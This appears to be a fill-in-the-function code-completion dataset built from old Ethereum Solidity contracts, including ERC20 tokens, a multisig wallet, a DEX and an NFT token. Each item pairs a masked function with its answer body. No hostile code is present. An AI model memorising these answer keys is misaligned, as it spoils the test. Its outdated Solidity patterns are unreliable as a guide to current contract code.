// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract ZcnoxToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
uint constant PLTime = 1538262000; // Product Launch Date September 30, 2018 12:00:00 AM
address company = 0xE8d5949A846345a891CD166f9cDAfd334abB060d;
address team = 0xdFd8Dcfd18F4bcDc74174c0a1eF04C4342EFecb2;
address crowdsale = 0xd1e624a8275cb34432afbcac5a31bf4276abe676;
address bounty = 0x4E51f4ee18Dc89B2bd10a0bc064844F6B1F08517;
uint constant companyTokens = 3000000e18;
uint constant teamTokens = 2000000e18;
uint constant crowdsaleTokens = 14000000e18;
uint constant bountyTokens = 1000000e18;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ZcnoxToken() public {
symbol = "ZNC";
name = "Zcnox";
decimals = 18;
_totalSupply = 20000000e18;
// Token Distribution
distributeToken(company, companyTokens);
distributeToken(team, teamTokens);
distributeToken(crowdsale, crowdsaleTokens);
distributeToken(bounty, bountyTokens);
}
function distributeToken(address _address, uint _amount) internal returns (bool) {
balances[_address] = _amount;
Transfer(address(0x0), _address, _amount);
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(checkPermissions(msg.sender));
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(checkPermissions(msg.sender));
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
//Lock Team Token untill Product Launch
if (_from == team && now < PLTime) {
return false;
}
//Lock Company Token untill Product Launch
if (_from == company && now < PLTime) {
return false;
}
if (_from == bounty || _from == crowdsale) {
return true;
}
| function checkPermissions(address _from) internal constant returns (bool) | function checkPermissions(address _from) internal constant returns (bool) |
20603 | RewardHolder | init | contract RewardHolder {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public farmGenerator;
address public farm;
address public rewardToken;
uint256 public farmableSupply;
constructor(address _farmGenerator, address _farm) public {
farmGenerator = _farmGenerator;
farm = _farm;
}
function init(address _rewardToken, uint256 _amount) public {<FILL_FUNCTION_BODY> }
} | contract RewardHolder {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public farmGenerator;
address public farm;
address public rewardToken;
uint256 public farmableSupply;
constructor(address _farmGenerator, address _farm) public {
farmGenerator = _farmGenerator;
farm = _farm;
}
<FILL_FUNCTION>
} |
address msgSender = msg.sender;
TransferHelper.safeTransferFrom(_rewardToken, msgSender, address(this), _amount);
TransferHelper.safeApprove(_rewardToken, farm, _amount);
rewardToken = _rewardToken;
farmableSupply = _amount;
| function init(address _rewardToken, uint256 _amount) public | function init(address _rewardToken, uint256 _amount) public |
29698 | SimpleMultiSigWallet | contract SimpleMultiSigWallet is multiowned {
event Deposit(address indexed sender, uint value);
event EtherSent(address indexed to, uint value);
event TokensSent(address token, address indexed to, uint value);
function SimpleMultiSigWallet()
multiowned()
public
payable
{
}
/// @dev Fallback function allows to deposit ether.
function()
payable
public
{<FILL_FUNCTION_BODY> }
/// @notice Send `value` of ether to address `to`
/// @param to where to send ether
/// @param value amount of wei to send
function sendEther(address to, uint value)
external
onlymanyowners(keccak256(msg.data))
{
require(address(0) != to);
require(value > 0 && this.balance >= value);
to.transfer(value);
EtherSent(to, value);
}
function sendTokens(address token, address to, uint value)
external
onlymanyowners(keccak256(msg.data))
returns (bool)
{
require(address(0) != to);
if (ERC20Basic(token).transfer(to, value)) {
TokensSent(token, to, value);
return true;
}
return false;
}
function tokenBalance(address token) external view returns (uint256) {
return ERC20Basic(token).balanceOf(this);
}
} | contract SimpleMultiSigWallet is multiowned {
event Deposit(address indexed sender, uint value);
event EtherSent(address indexed to, uint value);
event TokensSent(address token, address indexed to, uint value);
function SimpleMultiSigWallet()
multiowned()
public
payable
{
}
<FILL_FUNCTION>
/// @notice Send `value` of ether to address `to`
/// @param to where to send ether
/// @param value amount of wei to send
function sendEther(address to, uint value)
external
onlymanyowners(keccak256(msg.data))
{
require(address(0) != to);
require(value > 0 && this.balance >= value);
to.transfer(value);
EtherSent(to, value);
}
function sendTokens(address token, address to, uint value)
external
onlymanyowners(keccak256(msg.data))
returns (bool)
{
require(address(0) != to);
if (ERC20Basic(token).transfer(to, value)) {
TokensSent(token, to, value);
return true;
}
return false;
}
function tokenBalance(address token) external view returns (uint256) {
return ERC20Basic(token).balanceOf(this);
}
} |
if (msg.value > 0)
Deposit(msg.sender, msg.value);
| function()
payable
public
| /// @dev Fallback function allows to deposit ether.
function()
payable
public
|
|
67312 | BitizenCarToken | isBurnedCar | contract BitizenCarToken is ERC721ExtendToken {
enum CarHandleType{CREATE_CAR, UPDATE_CAR, BURN_CAR}
event TransferStateChanged(address indexed _owner, bool _state);
event CarHandleEvent(address indexed _owner, uint256 indexed _carId, CarHandleType _type);
struct BitizenCar{
string foundBy; // founder name
uint8 carType; // car type
uint8 ext; // for future
}
// car id index
uint256 internal carIndex = 0;
// car id => car
mapping (uint256 => BitizenCar) carInfos;
// all the burned car id
uint256[] internal burnedCars;
// check car id => isBurned
mapping(uint256 => bool) internal isBurned;
// add a switch to handle transfer
bool public carTransferState = false;
modifier validCar(uint256 _carId) {
require(_carId > 0 && _carId <= carIndex, "invalid car");
_;
}
function changeTransferState(bool _newState) public onlyOwner {
if(carTransferState == _newState) return;
carTransferState = _newState;
emit TransferStateChanged(owner, carTransferState);
}
function isBurnedCar(uint256 _carId) external view validCar(_carId) returns (bool) {<FILL_FUNCTION_BODY> }
function getBurnedCarCount() external view returns (uint256) {
return burnedCars.length;
}
function getBurnedCarIdByIndex(uint256 _index) external view returns (uint256) {
require(_index < burnedCars.length, "out of boundary");
return burnedCars[_index];
}
function getCarInfo(uint256 _carId) external view validCar(_carId) returns(string, uint8, uint8) {
BitizenCar storage car = carInfos[_carId];
return(car.foundBy, car.carType, car.ext);
}
function getOwnerCars(address _owner) external view onlyOperator returns(uint256[]) {
require(_owner != address(0));
return ownedTokens[_owner];
}
function createCar(address _owner, string _foundBy, uint8 _type, uint8 _ext) external onlyOperator returns(uint256) {
require(_owner != address(0));
BitizenCar memory car = BitizenCar(_foundBy, _type, _ext);
uint256 carId = ++carIndex;
carInfos[carId] = car;
_mint(_owner, carId);
emit CarHandleEvent(_owner, carId, CarHandleType.CREATE_CAR);
return carId;
}
function updateCar(uint256 _carId, string _newFoundBy, uint8 _type, uint8 _ext) external onlyOperator {
require(exists(_carId));
BitizenCar storage car = carInfos[_carId];
car.foundBy = _newFoundBy;
car.carType = _type;
car.ext = _ext;
emit CarHandleEvent(_ownerOf(_carId), _carId, CarHandleType.UPDATE_CAR);
}
function burnCar(address _owner, uint256 _carId) external onlyOperator {
burnedCars.push(_carId);
isBurned[_carId] = true;
_burn(_owner, _carId);
emit CarHandleEvent(_owner, _carId, CarHandleType.BURN_CAR);
}
// override
// add transfer condition
function _transfer(address _from,address _to,uint256 _tokenId) internal {
require(carTransferState == true, "not allown transfer at current time");
super._transfer(_from, _to, _tokenId);
}
function () public payable {
revert();
}
} | contract BitizenCarToken is ERC721ExtendToken {
enum CarHandleType{CREATE_CAR, UPDATE_CAR, BURN_CAR}
event TransferStateChanged(address indexed _owner, bool _state);
event CarHandleEvent(address indexed _owner, uint256 indexed _carId, CarHandleType _type);
struct BitizenCar{
string foundBy; // founder name
uint8 carType; // car type
uint8 ext; // for future
}
// car id index
uint256 internal carIndex = 0;
// car id => car
mapping (uint256 => BitizenCar) carInfos;
// all the burned car id
uint256[] internal burnedCars;
// check car id => isBurned
mapping(uint256 => bool) internal isBurned;
// add a switch to handle transfer
bool public carTransferState = false;
modifier validCar(uint256 _carId) {
require(_carId > 0 && _carId <= carIndex, "invalid car");
_;
}
function changeTransferState(bool _newState) public onlyOwner {
if(carTransferState == _newState) return;
carTransferState = _newState;
emit TransferStateChanged(owner, carTransferState);
}
<FILL_FUNCTION>
function getBurnedCarCount() external view returns (uint256) {
return burnedCars.length;
}
function getBurnedCarIdByIndex(uint256 _index) external view returns (uint256) {
require(_index < burnedCars.length, "out of boundary");
return burnedCars[_index];
}
function getCarInfo(uint256 _carId) external view validCar(_carId) returns(string, uint8, uint8) {
BitizenCar storage car = carInfos[_carId];
return(car.foundBy, car.carType, car.ext);
}
function getOwnerCars(address _owner) external view onlyOperator returns(uint256[]) {
require(_owner != address(0));
return ownedTokens[_owner];
}
function createCar(address _owner, string _foundBy, uint8 _type, uint8 _ext) external onlyOperator returns(uint256) {
require(_owner != address(0));
BitizenCar memory car = BitizenCar(_foundBy, _type, _ext);
uint256 carId = ++carIndex;
carInfos[carId] = car;
_mint(_owner, carId);
emit CarHandleEvent(_owner, carId, CarHandleType.CREATE_CAR);
return carId;
}
function updateCar(uint256 _carId, string _newFoundBy, uint8 _type, uint8 _ext) external onlyOperator {
require(exists(_carId));
BitizenCar storage car = carInfos[_carId];
car.foundBy = _newFoundBy;
car.carType = _type;
car.ext = _ext;
emit CarHandleEvent(_ownerOf(_carId), _carId, CarHandleType.UPDATE_CAR);
}
function burnCar(address _owner, uint256 _carId) external onlyOperator {
burnedCars.push(_carId);
isBurned[_carId] = true;
_burn(_owner, _carId);
emit CarHandleEvent(_owner, _carId, CarHandleType.BURN_CAR);
}
// override
// add transfer condition
function _transfer(address _from,address _to,uint256 _tokenId) internal {
require(carTransferState == true, "not allown transfer at current time");
super._transfer(_from, _to, _tokenId);
}
function () public payable {
revert();
}
} |
return isBurned[_carId];
| function isBurnedCar(uint256 _carId) external view validCar(_carId) returns (bool) | function isBurnedCar(uint256 _carId) external view validCar(_carId) returns (bool) |
48656 | BeanDEX | null | contract BeanDEX is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
constructor (address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public {<FILL_FUNCTION_BODY> }
function () public {
revert();
}
function changeAdmin(address admin_) public {
if (msg.sender != admin) revert();
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) public {
if (msg.sender != admin) revert();
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) public {
if (msg.sender != admin) revert();
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) public {
if (msg.sender != admin) revert();
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) public {
if (msg.sender != admin) revert();
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) public {
if (msg.sender != admin) revert();
feeRebate = feeRebate_;
}
function deposit() payable public {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) public {
if (tokens[0][msg.sender] < amount) revert();
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) revert();
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) public {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) revert();
if (!Token(token).transferFrom(msg.sender, this, amount)) revert();
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) public {
if (token==0) revert();
if (tokens[token][msg.sender] < amount) revert();
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) revert();
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant public returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) revert();
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant public returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant public returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant public returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) revert();
orderFills[msg.sender][hash] = amountGet;
emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
} | contract BeanDEX is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
<FILL_FUNCTION>
function () public {
revert();
}
function changeAdmin(address admin_) public {
if (msg.sender != admin) revert();
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) public {
if (msg.sender != admin) revert();
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) public {
if (msg.sender != admin) revert();
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) public {
if (msg.sender != admin) revert();
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) public {
if (msg.sender != admin) revert();
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) public {
if (msg.sender != admin) revert();
feeRebate = feeRebate_;
}
function deposit() payable public {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) public {
if (tokens[0][msg.sender] < amount) revert();
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) revert();
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) public {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) revert();
if (!Token(token).transferFrom(msg.sender, this, amount)) revert();
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) public {
if (token==0) revert();
if (tokens[token][msg.sender] < amount) revert();
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) revert();
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant public returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) revert();
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant public returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant public returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant public returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) revert();
orderFills[msg.sender][hash] = amountGet;
emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
} |
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
| constructor (address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public | constructor (address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public |
17431 | AdvanceToken | approve | contract AdvanceToken is StandardToken {
address public owner;
string public name = "XYCoin(逍遥生态币)";
string public symbol = "XYC";
uint8 public decimals =4;
uint256 public totalSupply = 10000000000e4;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public frozenTimestamp;
bool public exchangeFlag = true;
uint256 public minWei = 1;
uint256 public maxWei = 2e18;
uint256 public maxRaiseAmount =20e18;
uint256 public raisedAmount = 0;
uint256 public raiseRatio = 200000;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
totalSupply_ = totalSupply;
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function()
public payable {
require(msg.value > 0);
if (exchangeFlag) {
if (msg.value >= minWei && msg.value <= maxWei){
if (raisedAmount < maxRaiseAmount) {
uint256 valueNeed = msg.value;
raisedAmount = raisedAmount.add(msg.value);
if (raisedAmount > maxRaiseAmount) {
uint256 valueLeft = raisedAmount.sub(maxRaiseAmount);
valueNeed = msg.value.sub(valueLeft);
msg.sender.transfer(valueLeft);
raisedAmount = maxRaiseAmount;
}
if (raisedAmount >= maxRaiseAmount) {
exchangeFlag = false;
}
uint256 _value = valueNeed.mul(raiseRatio);
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
emit Transfer(owner, msg.sender, _value);
}
} else {
msg.sender.transfer(msg.value);
}
} else {
msg.sender.transfer(msg.value);
}
}
function changeowner(
address _newowner
)
public
returns (bool) {
require(msg.sender == owner);
require(_newowner != address(0));
owner = _newowner;
return true;
}
function generateToken(
address _target,
uint256 _amount
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
balances[_target] = balances[_target].add(_amount);
totalSupply_ = totalSupply_.add(_amount);
totalSupply = totalSupply_;
return true;
}
function withdraw (
uint256 _amount
)
public
returns (bool) {
require(msg.sender == owner);
msg.sender.transfer(_amount);
return true;
}
function freeze(
address _target,
bool _freeze
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenAccount[_target] = _freeze;
return true;
}
function freezeWithTimestamp(
address _target,
uint256 _timestamp
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenTimestamp[_target] = _timestamp;
return true;
}
function multiFreeze(
address[] _targets,
bool[] _freezes
)
public
returns (bool) {
require(msg.sender == owner);
require(_targets.length == _freezes.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
bool _freeze = _freezes[i];
frozenAccount[_target] = _freeze;
}
return true;
}
function multiFreezeWithTimestamp(
address[] _targets,
uint256[] _timestamps
)
public
returns (bool) {
require(msg.sender == owner);
require(_targets.length == _timestamps.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
uint256 _timestamp = _timestamps[i];
frozenTimestamp[_target] = _timestamp;
}
return true;
}
function multiTransfer(
address[] _tos,
uint256[] _values
)
public
returns (bool) {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_tos.length == _values.length);
uint256 len = _tos.length;
require(len > 0);
uint256 amount = 0;
for (uint256 i = 0; i < len; i = i.add(1)) {
amount = amount.add(_values[i]);
}
require(amount <= balances[msg.sender]);
for (uint256 j = 0; j < len; j = j.add(1)) {
address _to = _tos[j];
require(_to != address(0));
balances[_to] = balances[_to].add(_values[j]);
balances[msg.sender] = balances[msg.sender].sub(_values[j]);
emit Transfer(msg.sender, _to, _values[j]);
}
return true;
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool) {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
